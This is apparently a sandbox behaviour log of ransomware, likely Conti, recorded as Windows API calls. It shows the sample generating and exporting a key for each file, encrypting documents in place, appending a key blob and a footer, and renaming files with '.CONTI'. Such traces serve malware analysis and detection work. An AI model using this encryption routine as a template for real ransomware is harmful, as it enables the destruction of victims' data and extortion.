	[0133.982] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4be24, pdwDataLen=0x55ffb34 | out: pbData=0x6b4be24*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.983] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd")) returned 0x20
	[0133.983] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.983] GetLastError () returned 0x5
	[0133.983] CryptDestroyKey (hKey=0x17c85f0) returned 1
	[0133.983] GetProcessHeap () returned 0x1720000
	[0133.983] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e618 | out: hHeap=0x1720000) returned 1
	[0133.984] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.984] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c068 | out: phKey=0x6b4c068*=0x17c83f0) returned 1
	[0133.984] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c06c, pdwDataLen=0x55ffb34 | out: pbData=0x6b4c06c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.984] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\fd1hvy.dat")) returned 0x20
	[0133.985] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\fd1hvy.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0133.985] GetLastError () returned 0x0
	[0133.985] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=0) returned 1
	[0133.985] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.985] CloseHandle (hObject=0x3d4) returned 1
	[0133.985] GetProcessHeap () returned 0x1720000
	[0133.985] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bce8 | out: hHeap=0x1720000) returned 1
	[0133.985] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.985] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a750 | out: phKey=0x6b4a750*=0x17c83f0) returned 1
	[0133.985] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a754, pdwDataLen=0x55ffb34 | out: pbData=0x6b4a754*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.986] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows" (normalized: "c:\\users\\all users\\microsoft\\windows")) returned 0x10
	[0133.986] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows" (normalized: "c:\\users\\all users\\microsoft\\windows"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.986] GetLastError () returned 0x5
	[0133.986] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.986] GetProcessHeap () returned 0x1720000
	[0133.986] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17becb0 | out: hHeap=0x1720000) returned 1
	[0133.986] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.986] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b492c8 | out: phKey=0x6b492c8*=0x17c7f30) returned 1
	[0133.986] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b492cc, pdwDataLen=0x55ffb34 | out: pbData=0x6b492cc*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.987] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasbase.vdm")) returned 0x20
	[0133.988] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.988] GetLastError () returned 0x5
	[0133.988] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0133.988] GetProcessHeap () returned 0x1720000
	[0133.988] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1c18 | out: hHeap=0x1720000) returned 1
	[0133.988] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.988] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b990 | out: phKey=0x6b4b990*=0x17c84f0) returned 1
	[0133.988] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b994, pdwDataLen=0x55ffb34 | out: pbData=0x6b4b994*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.989] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasdlta.vdm")) returned 0x20
	[0133.989] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasdlta.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.989] GetLastError () returned 0x5
	[0133.989] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0133.989] GetProcessHeap () returned 0x1720000
	[0133.989] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1ef8 | out: hHeap=0x1720000) returned 1
	[0133.989] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.989] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b070 | out: phKey=0x6b4b070*=0x17c83f0) returned 1
	[0133.989] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b074, pdwDataLen=0x55ffb34 | out: pbData=0x6b4b074*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.990] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavbase.vdm")) returned 0x20
	[0133.990] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.990] GetLastError () returned 0x5
	[0133.990] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.990] GetProcessHeap () returned 0x1720000
	[0133.990] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2850 | out: hHeap=0x1720000) returned 1
	[0133.990] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.991] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b49758 | out: phKey=0x6b49758*=0x17c83f0) returned 1
	[0133.991] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4975c, pdwDataLen=0x55ffb34 | out: pbData=0x6b4975c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.991] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavdlta.vdm")) returned 0x20
	[0133.991] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavdlta.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.991] GetLastError () returned 0x5
	[0133.992] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.992] GetProcessHeap () returned 0x1720000
	[0133.992] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2348 | out: hHeap=0x1720000) returned 1
	[0133.992] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.992] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b48bf0 | out: phKey=0x6b48bf0*=0x17c83f0) returned 1
	[0133.992] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b48bf4, pdwDataLen=0x55ffb34 | out: pbData=0x6b48bf4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.992] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisbase.vdm")) returned 0x20
	[0133.993] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.993] GetLastError () returned 0x5
	[0133.993] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.993] GetProcessHeap () returned 0x1720000
	[0133.993] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2290 | out: hHeap=0x1720000) returned 1
	[0133.993] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.993] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b499a0 | out: phKey=0x6b499a0*=0x17c7ef0) returned 1
	[0133.993] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b499a4, pdwDataLen=0x55ffb34 | out: pbData=0x6b499a4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.994] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisfull.vdm")) returned 0x20
	[0133.994] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisfull.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.994] GetLastError () returned 0x5
	[0133.994] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0133.994] GetProcessHeap () returned 0x1720000
	[0133.994] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2068 | out: hHeap=0x1720000) returned 1
	[0133.994] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0138.083] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b51718 | out: phKey=0x6b51718*=0x6b7f438) returned 1
	[0138.083] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5171c, pdwDataLen=0x55ffb34 | out: pbData=0x6b5171c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0138.084] GetFileAttributesW (lpFileName="C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini")) returned 0x26
	[0138.084] CreateFileW (lpFileName="C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0138.084] GetLastError () returned 0x0
	[0138.084] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=174) returned 1
	[0138.084] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xae
	[0138.084] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.084] SetEndOfFile (hFile=0x448) returned 1
	[0138.086] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.086] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.086] WriteFile (in: hFile=0x448, lpBuffer=0x6b5171c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b5171c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0138.087] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.087] ReadFile (in: hFile=0x448, lpBuffer=0x102d0000, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0xae, lpOverlapped=0x0) returned 1
	[0138.087] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xae, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xb0) returned 1
	[0138.087] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.087] WriteFile (in: hFile=0x448, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0xb0, lpOverlapped=0x0) returned 1
	[0138.087] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.088] WriteFile (in: hFile=0x448, lpBuffer=0x6b51710*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b51710*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0138.088] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.088] CloseHandle (hObject=0x448) returned 1
	[0138.088] GetProcessHeap () returned 0x1720000
	[0138.088] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.088] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\desktop.ini" | out: lpString1="C:\\Users\\desktop.ini") returned="C:\\Users\\desktop.ini"
	[0138.088] lstrcatW (in: lpString1="C:\\Users\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\desktop.ini.CONTI") returned="C:\\Users\\desktop.ini.CONTI"
	[0138.088] MoveFileW (lpExistingFileName="C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), lpNewFileName="C:\\Users\\desktop.ini.CONTI" (normalized: "c:\\users\\desktop.ini.conti")) returned 1
	[0138.088] GetProcessHeap () returned 0x1720000
	[0138.088] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.088] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0138.088] GetProcessHeap () returned 0x1720000
	[0138.088] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738e88 | out: hHeap=0x1720000) returned 1
	[0138.088] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0138.091] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f4e0 | out: phKey=0x6b4f4e0*=0x6b7f6b8) returned 1
	[0138.091] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f4e4, pdwDataLen=0x55ffb34 | out: pbData=0x6b4f4e4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0138.092] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\7u5L2vhmIDtZB3.ods" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\7u5l2vhmidtzb3.ods")) returned 0x20
	[0138.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\7u5L2vhmIDtZB3.ods" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\7u5l2vhmidtzb3.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0138.092] GetLastError () returned 0x0
	[0138.093] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=46737) returned 1
	[0138.093] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb691
	[0138.093] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.093] SetEndOfFile (hFile=0x454) returned 1
	[0138.093] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.093] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.093] WriteFile (in: hFile=0x454, lpBuffer=0x6b4f4e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4e4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0138.095] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.095] ReadFile (in: hFile=0x454, lpBuffer=0x102d0000, nNumberOfBytesToRead=0xb691, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0xb691, lpOverlapped=0x0) returned 1
	[0138.095] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xb691, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xb6a0) returned 1
	[0138.095] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.096] WriteFile (in: hFile=0x454, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0xb6a0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0xb6a0, lpOverlapped=0x0) returned 1
	[0138.096] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.096] WriteFile (in: hFile=0x454, lpBuffer=0x6b4f4d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4d8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0138.096] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.096] CloseHandle (hObject=0x454) returned 1
	[0138.096] GetProcessHeap () returned 0x1720000
	[0138.096] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.096] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\7u5L2vhmIDtZB3.ods" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\7u5L2vhmIDtZB3.ods") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\7u5L2vhmIDtZB3.ods"
	[0138.096] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\7u5L2vhmIDtZB3.ods", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\7u5L2vhmIDtZB3.ods.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\7u5L2vhmIDtZB3.ods.CONTI"
	[0138.096] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\7u5L2vhmIDtZB3.ods" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\7u5l2vhmidtzb3.ods"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\7u5L2vhmIDtZB3.ods.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\7u5l2vhmidtzb3.ods.conti")) returned 1
	[0138.097] GetProcessHeap () returned 0x1720000
	[0138.097] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.097] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0138.097] GetProcessHeap () returned 0x1720000
	[0138.097] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740730 | out: hHeap=0x1720000) returned 1
	[0138.097] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0138.097] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4de10 | out: phKey=0x6b4de10*=0x6b7f6b8) returned 1
	[0138.097] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4de14, pdwDataLen=0x55ffb34 | out: pbData=0x6b4de14*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0138.098] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Dy2W19.csv" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\dy2w19.csv")) returned 0x20
	[0138.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Dy2W19.csv" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\dy2w19.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0138.098] GetLastError () returned 0x0
	[0138.098] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=30837) returned 1
	[0138.098] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7875
	[0138.098] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.098] SetEndOfFile (hFile=0x454) returned 1
